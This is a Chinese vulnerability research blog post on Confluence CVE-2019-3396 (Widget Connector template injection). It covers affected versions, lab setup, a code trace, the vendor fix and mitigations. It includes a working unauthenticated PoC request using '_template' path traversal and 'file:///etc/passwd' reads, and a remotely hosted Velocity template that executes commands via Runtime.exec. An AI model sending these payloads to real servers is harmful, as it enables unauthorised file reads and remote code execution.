Confluence未授权模板注入/代码执行(CVE-2019-3396)

Posted by caiqiqi on 2019-11-03

详情:
服务端模版注入(Server-side Template Injection,SSTI),影响组件Widget Connector(小工具连接器)。
影响版本:

6.6.12版本之前所有版本
6.7.0-6.12.2版本
6.13.3之前的所有6.13.x版本
6.14.2之前的所有6.14.x版本
影响组件:

Widget Connector <=3.1.3
修复版本
6.6.12
6.12.3
6.13.3
6.14.2
6.15.1

Poc

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: cqq.com:443
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3670.0 Safari/537.36
Referer: https://cqq.com/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 168
{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}}

或者改成file:///etc/passwd读取passwd文件。网上有可以读passwd文件的,但是在本地搭建环境没有成功读到/etc/passwd。后来发现是跟版本有关。在6.13.0不能读取,而在6.9.0可以读取。
6.13.0:
在这里插入图片描述
6.9.0:
在这里插入图片描述
有的版本不需要referer,或者本身就不需要referer,而且有的版本对于UA解析有问题,可以直接删掉UA,参考:https://confluence.atlassian.com/cloudkb/xsrf-check-failed-when-calling-cloud-apis-826874382.html
在这里插入图片描述
据说可以利用远程文件包含,实现命令执行:
https://nosec.org/home/detail/2461.html
直接访问https页面,内容为:

#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("/Applications/Calculator.app/Contents/MacOS/Calculator")

https://pastebin.com/raw/X3WwMHgS
Velocity Template Language (VTL) Statement
模板语句的语法参考:https://velocity.apache.org/engine/devel/user-guide.html
在这里插入图片描述
经过测试,不需要登录的Cookie也可以执行。

Conluence安装

$ wget https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-6.13.0.tar.gz
$ tar zxf atlassian-confluence-6.13.0.tar.gz
$ cd atlassian-confluence-6.13.0
$ vi ./confluence/WEB-INF/classes/confluence-init.properties #设置confluence的home目录,这里我设置为
#confluence.home=/home/cqq/confluence
$ vi ./conf/server.xml

将这段外的注释去掉,

<Connector port="8090" connectionTimeout="20000" redirectPort="8443"
maxThreads="48" minSpareThreads="10"
enableLookups="false" acceptCount="10" debug="0" URIEncoding="UTF-8"
protocol="org.apache.coyote.http11.Http11NioProtocol"/>

然后就可以启动

$ bin/start-confluence.sh

在这里插入图片描述
启动之后访问8090端口,一步步完成安装。
安装过程之一如下:
在这里插入图片描述

配置远程调试

在ubuntu上搭建运行环境,开启调试,
编辑bin/setenv.sh
添加:

CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=12346 ${CATALINA_OPTS}" # for debug

然后再启动confluence:

bin/start-confluence.sh

然后在Mac上复制一份代码,导入IDEA,然后在IDEA中设置将widgetconnector-3.1.2.jar加入到Libraries中。这样中IDEA中这个jar包才可以展开!
在这里插入图片描述
也可以Add as library
在这里插入图片描述
最后放弃了远程调试,直接在Mac本地搭建环境了。

触发位置

参考:https://confluence.atlassian.com/doc/widget-connector-macro-171180449.html
插入(+)=> 其他宏 => 小工具连接器
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
点击预览功能时发的包里并没有_template参数,需要手动加上。猜想这个漏洞应该是需要白盒审计才能发现吧。
在这里插入图片描述

定位

定位一下,应该是这个jar包:

confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-3.1.2.jar

在这里插入图片描述
通过在IDEA中跟踪调用栈,发现大量的Filter的doFilter方法,所以以后这种不必单个跟,只需要把断点加在关键位置即可。

代码追踪

atlassian-confluence-6.9.0/confluence/WEB-INF/atlassian-bundled-plugins/atlassian-rest-module-3.4.12.jar!/com/atlassian/plugins/rest/module/RestDelegatingServletFilter.class的doFilter方法。
在这里插入图片描述
然后会进入到:
POST /rest/tinymce/1/macro/preview,content-type为"application/json",会调用以下代码,返回的响应content-type为"text/plain"
atlassian-confluence-6.9.0/confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-6.9.0.jar!/com/atlassian/confluence/tinymceplugin/rest/MacroResource.class
在这里插入图片描述
将断点下在atlassian-confluence-6.9.0/confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-3.1.0.jar!/com/atlassian/confluence/extra/widgetconnector/video/YoutubeRenderer.classgetEmbeddedHtml() 方法
等到程序停在断点处之后,跟踪一下调用栈,
在这里插入图片描述
发现已知的最早调用的是atlassian-confluence-6.9.0/confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-3.1.0.jar!/com/atlassian/confluence/extra/widgetconnector/WidgetMacro.classexecute()方法。
WidgetMacro.java
在这里插入图片描述
RendererManager是一个接口,DefaultRendererManager实现了它。
DefaultRendererManager.java
在这里插入图片描述

widgetRenderer.getEmbeddedHtml(url, params);
WidgetRenderer是一个接口,而YoutubeRenderer类实现了它。
YoutubeRenderer.java
在这里插入图片描述
VelocityRenderService是一个接口,DefaultVelocityRenderService类实现类它。
DefaultVelocityRenderService.java
在这里插入图片描述
若POST请求中的_template的值为空,则将template设置为默认值:com/atlassian/confluence/extra/widgetconnector/templates/embed.vm
否则这里从POST请求中的_template的值取出来,传入template,然后将POST请求中的所有参数放入contextMap,然后调用getRenderedTemplate(template, contextMap);
在这里插入图片描述
然后调用atlassian-confluence-6.9.0/confluence/WEB-INF/lib/confluence-6.9.0.jar!/com/atlassian/confluence/util/velocity/VelocityUtils.class的一系列方法,最终进入66行的

renderTemplateWithoutSwallowingErrors((String)templateName, context, writer);

然后一路各种getTemplate(),来到
atlassian-confluence-6.9.0/confluence/WEB-INF/lib/velocity-1.6.4-atlassian-9.jar!/org/apache/velocity/runtime/RuntimeInstance.class的getTemplate()方法。
在这里插入图片描述
在这里插入图片描述
将templateName的值file:///etc/passwd作为参数传入,然后将内容写到writer中,然后在67行调用toString()方法将结果返回。
在这里插入图片描述
下面看66行renderTemplateWithoutSwallowingErrors执行的细节。
atlassian-confluence-6.9.0/confluence/WEB-INF/lib/confluence-6.9.0.jar!/com/atlassian/confluence/util/velocity/ConfigurableResourceManager.class
的getResource()方法中,先

String resourceKey = resourceType + resourceName; //1https://pastebin.com/raw/0Kj4aX8G
Resource resource = this.globalCache.get(resourceKey); // 先从globalCache中找,结果没找到,返回null。

然后if (resource != null)判断失败,进入else逻辑,

resource = this.loadResource(resourceName, resourceType, encoding); //resourceName的值为 https://pastebin.com/raw/0Kj4aX8G

在这里插入图片描述
接着往下跟,
在这里插入图片描述
resourceName虽然传进来了,但是并没有用到,而是只根据传进来的resourceType为1,然后就new了一个ConfluenceVelocityTemplateImpl返回,
在这里插入图片描述
然后设置其name为https://pastebin.com/raw/0Kj4aX8G
然后用四个Loader对resourceName进行轮番这样的:

InputStream resourceStream = resourceLoader.getResourceStream(resource.getName());

查询。
在这里插入图片描述
展开可以发现是:

com.atlassian.confluence.setup.velocity.HibernateResourceLoader
org.apache.velocity.runtime.resource.loader.FileResourceLoader
org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader
com.atlassian.confluence.setup.velocity.DynamicPluginResourceLoader

在atlassian-confluence-6.9.0/confluence/WEB-INF/lib/confluence-6.9.0.jar!/com/atlassian/confluence/setup/velocity/DecoratorName.class的isSpaceDecoratorSource()方法中判断是否以@开头,
在这里插入图片描述
若不是,则进入stripLeadingSlash()
在这里插入图片描述

判断是否以/开头。
在这里插入图片描述
使用atlassian-confluence-6.9.0/confluence/WEB-INF/lib/confluence-6.9.0.jar!/com/atlassian/confluence/util/velocity/Velocity13CompatibleResourceLoader.class
的getResourceStream()方法,返回null:
在这里插入图片描述
即,第一个com.atlassian.confluence.setup.velocity.HibernateResourceLoader没有拿到东西;
接着往下,是第二个,org.apache.velocity.runtime.resource.loader.FileResourceLoader

在这里插入图片描述
返回一个File为/Users/caiqiqi/repos/atlassian-confluence-6.9.0/confluence/https:/pastebin.com/raw/0Kj4aX8G
最后抛出一个无法找到该文件的异常(因为有冒号,所以这个文件无法创建?):
在这里插入图片描述
在这里插入图片描述
猜想如果这里是相对路径的文件应该就可以拿到了。同样可以得知,即便在请求中的_template参数值设置为/开头的绝对路径,//TODO,也可以正常地通过相对路径拿到文件内容。
接着第三个,org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader
(虽然IDEA中反编译的代码顺序都错了,但是还是得硬着头发继续跟…)
进入

result = ClassUtils.getResourceAsStream(this.getClass(), name);

在这里插入图片描述
此时一不小心跟过了,然后看到为监听的往pastebin.com的请求已经发出了!
在这里插入图片描述
说明就是在这个Loader里执行了HTTP请求!
重新跟了一下,发现是在
atlassian-confluence-6.9.0/lib/catalina.jar!/org/apache/catalina/loader/WebappClassLoaderBase.class的getResourceAsStream()方法的

stream = url.openStream();

这句话,真正打开了一个TCP连接,并发送这个url的请求,并将返回的数据赋值给stream。

Calling url.openStream() initiates a new TCP connection to the server that the URL resolves to. An HTTP GET request is then sent over the connection. If all goes right (i.e., 200 OK), the server sends back the HTTP response message that carries the data payload that is served up at the specified URL. You then need to read the bytes from the InputStream that the openStream() method returns in order to retrieve the data payload into your program.

来源:https://stackoverflow.com/questions/2778312/how-does-java-url-openstream-work
在这里插入图片描述
(附发送HTTP请求的过程:
在这里插入图片描述
)
atlassian-confluence-6.9.0/confluence/WEB-INF/lib/velocity-1.6.4-atlassian-9.jar!/org/apache/velocity/util/ClassUtils.class
在这里插入图片描述
在这里插入图片描述
通过atlassian-confluence-6.9.0/confluence/WEB-INF/lib/confluence-6.9.0.jar!/com/atlassian/confluence/util/velocity/VelocityUtils.class的renderTemplateWithoutSwallowingErrors(String templateName, Context context, Writer writer)传入templateName为https://pastebin.com/raw/0Kj4aX8G,执行

Template template = getTemplate(templateName);

拿到数据之后,赋值给template对象,接下来进行处理:
在这里插入图片描述

renderTemplateWithoutSwallowingErrors(template, context, writer);

具体的是这个方法的

template.merge(context, writer);

这句话。
跟进

((SimpleNode)this.data).render(ica, writer);

调用atlassian-confluence-6.9.0/confluence/WEB-INF/lib/velocity-1.6.4-atlassian-9.jar!/org/apache/velocity/runtime/parser/node/SimpleNode.class
的render()方法进行渲染(解析得到的模板内容)
具体就是一些解析VTL语言表达式的详情了,
在这里插入图片描述
有时间学习一下。按照语法,就是可以执行命令的。
至此,从在哪里发送HTTP请求,哪里对template语句进行解析,就清楚了。

再看看file:///etc/passwd的情况:
先是第一个com.atlassian.confluence.setup.velocity.HibernateResourceLoader,依然返回null,然后是第二个org.apache.velocity.runtime.resource.loader.FileResourceLoader,
在这里插入图片描述
经过normalizePath()之后,变成了/file:/etc/passwd

inputStream = this.findTemplate(path, template);

在这里插入图片描述
跟进findTemplate()方法。
经过拼接之后,file的值变成了/Users/caiqiqi/repos/atlassian-confluence-6.9.0/confluence/file:/etc/passwd。这个file值不能canRead(),所以不能进入if (file.canRead()),直接返回null。

The canRead()function is a part of File class in Java . This function determines whether the program can read the file denoted by the abstract path name.The function returns true if the abstract file path exists and the application is allowed to read the file.

在这里插入图片描述
返回抛出ResourceNotFoundException异常。
在这里插入图片描述
然后是第三个,org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader,

在这里插入图片描述

/Library/Java/JavaVirtualMachines/jdk1.8.0_191.jdk/Contents/Home/src.zip!/java/lang/ClassLoader.java
在这里插入图片描述
然后是BundleDelegatingClassLoader:依然返回null,
然后交给atlassian-confluence-6.9.0/lib/catalina.jar!/org/apache/catalina/loader/WebappClassLoaderBase.class的getResourceAsStream()
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
atlassian-confluence-6.9.0/confluence/WEB-INF/lib/org.apache.felix.framework-4.2.1.jar!/org/apache/felix/framework/URLHandlersStreamHandlerProxy.class的openConnection()
在这里插入图片描述
最终将访问url:file:///etc/passwd的内容写到writer中,
在这里插入图片描述

对于../web.xml的payload,
在这里插入图片描述
由于是直接跟webapps没目录进行了拼接,这里可以进行路径穿越,进入上一级目录。

在这里插入图片描述

atlassian-confluence-6.9.0/confluence/WEB-INF/lib/velocity-1.6.4-atlassian-9.jar!/org/apache/velocity/runtime/parser/node/SimpleNode.class的
在这里插入图片描述
atlassian-confluence-6.9.0/confluence/WEB-INF/lib/velocity-1.6.4-atlassian-9.jar!/org/apache/velocity/runtime/parser/node/ASTSetDirective.class的render()方法。
在这里插入图片描述
this.left 为org.apache.velocity.runtime.parser.node.ASTReference
this.right为org.apache.velocity.runtime.parser.node.ASTExpression
执行命令的过程就是一直调用org.apache.velocity.runtime.parser.node.ASTReferenceexecute()方法的过程。

官方修复

下载atlassian-confluence-6.13.2(存在漏洞版)和atlassian-confluence-6.13.3(修复版)
提取其中的widgetconnector-3.1.3.jar和widgetconnector-3.1.4.jar,用jd导出java代码,然后用icdiff进行对比。(论好的diff工具的重要性!)

icdiff widgetconnector-3.1.3/com/atlassian/confluence/extra/widgetconnector/WidgetMacro.java widgetconnector-3.1.4/com/atlassian/confluence/extra/widgetconnector/WidgetMacro.java

在这里插入图片描述
给出了一个列表,这个列表里有一个字符串,_template,对于HTTP POST请求过来的参数parameter上进行解析时,去除掉_template这个字段,从而杜绝了从_template字段进行模板注入的风险。#TODO 对比其他jar包,查找有没有关于此漏洞或者其他方面的发现。

缓解措施

禁用几个插件,升级,然后重新开启。如果不能升级的话,就只能防火墙拦截了。
在这里插入图片描述

参考: